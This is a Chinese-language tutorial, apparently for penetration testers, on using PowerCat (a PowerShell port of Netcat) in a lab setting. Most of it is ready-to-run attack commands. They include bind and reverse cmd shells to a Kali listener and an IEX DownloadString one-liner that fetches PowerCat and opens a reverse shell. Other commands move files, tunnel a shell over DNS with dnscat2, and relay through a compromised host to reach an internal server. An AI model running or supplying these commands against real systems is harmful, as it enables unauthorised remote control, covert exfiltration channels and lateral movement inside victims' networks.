PowerCat脚本是Netcat的PowerShell版本
github地址: https://github.com/besimorhino/powercat
下载下来之后,在PowerShell命令环境下进入到PowerCat目录,然后导入PowerCat脚本 输入命令,但是导入会出错,一般是权限问题:
Import-Module .powercat.ps1
修改一些权限,可以执行脚本就可以了,然后导入模块
Set-ExecutionPolicy RemoteSigned
导入之后使用 -h 参数查看帮助信息,因为称之为PowerShell版的NetCat,所以说都差不多的,而且两者可以相互连接
-l 监听一个连接 -c 连接到一个监听 -p 指定端口 -e 指定一个程序执行 -ep 执行Powershell -v 显示详细信息 -r Relay. Format: "-r tcp:10.1.1.1:443" [String] -u Transfer data over UDP. [Switch] -dns Transfer data over dns (dnscat2). [String] -dnsft DNS Failure Threshold. [int32] -t Timeout option. Default: 60 [int32] -i Input: Filepath (string), byte array, or string. [object] -o Console Output Type: "Host", "Bytes", or "String" [String] -of Output File Path. [String] -d Disconnect after connecting. [Switch] -rep Repeater. Restart after disconnecting. [Switch] -g Generate Payload. [Switch] -ge Generate Encoded Payload. [Switch] -h 打印出帮助
正向连接Shell
因为PowerCat可以和NC连接,可以把Windows下的cmd 传给 kali上 在windows上输入命令: powercat -l -p 8888 -e cmd -v kali上监听端口: nc 192.168.1.111 8888 -v
远程下载PowerCat
使用PowerShell远程下载PowerCat执行反弹shell命令
Windows端输入命令: powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.106 -p 6666 -e cmd 自己这端输入命令: nc -lvp 6666 或者 powercat -l -p 6666
反向连接Shell
在kali上面执行命令: nc -lvp 8888 -vv 在windows上执行命令: powercat -c 192.168.1.106 -p 8888 -v -e cmd
使用PowerCat传文件
传输文件需要的参数:
- -i : 输入,可以写文件名
- -of :输出文件名,可以在文件名前面添加路径
Windows10上面执行命令:
powercat -c 192.168.1.111 -p 9999 -i C:UsersjenDesktop ihao.txt -v Windows7上面执行命令: powercat -l -p 9999 -of nihao.txt -v
PowerCat 的DNS通信隧道
PowerCat的DNS通信隧道时基于dnscat设计的。它的服务端就是dnscat。首先我们先安装dnscat
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ gem install bundler bundle install
安装好了之后在Linux主机使用命令:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
接着在windows机器上执行命令,这样Linux就会接收到一个shell了
powercat -c 192.168.1.112 -p 53 -dns ttpowercat.test -e cmd.exe # -dns 表示使用DNS通信
PowerCat做为跳板使用
还是比较常见的攻击者可以访问WEB但是攻击者不能访问内网的服务器但是WEB服务器可以访问内网。这里kali Linux主机要和 Windows 2008通信,就要将Windows7做为跳板间接访Windows2008。
Windows2008机器输入命令: powercat -l -p 6666 -e cmd.exe Windows7机器输入命令: powercat -l -v -p 8000 -r tcp:192.168.138.138:6666 Kali Linux输入命令: nc 192.168.1.111 8000 -v
PowerCat做为跳板使用DNS协议
Windows7机器输入命令: powercat -l -p 8000 -r dns:192.168.1.112::ttpowercat.test Kali Linux输入命令: ruby dnscat2.rb ttpowercat.test -e open --no-cache Windows2008机器输入命令: powercat -c 192.168.138.136 -p 8000 -v -e cmd.exe
首先在Windows7上面输入命令,和Winodws2008端口建立连接,流量传入Windows2008的8080端口
Kali Linux上面启动dnscat
Windows2008启动转发,把cmd通过8080端口传给Windows7
接着Kali Linux上面就可以操作Windows2008了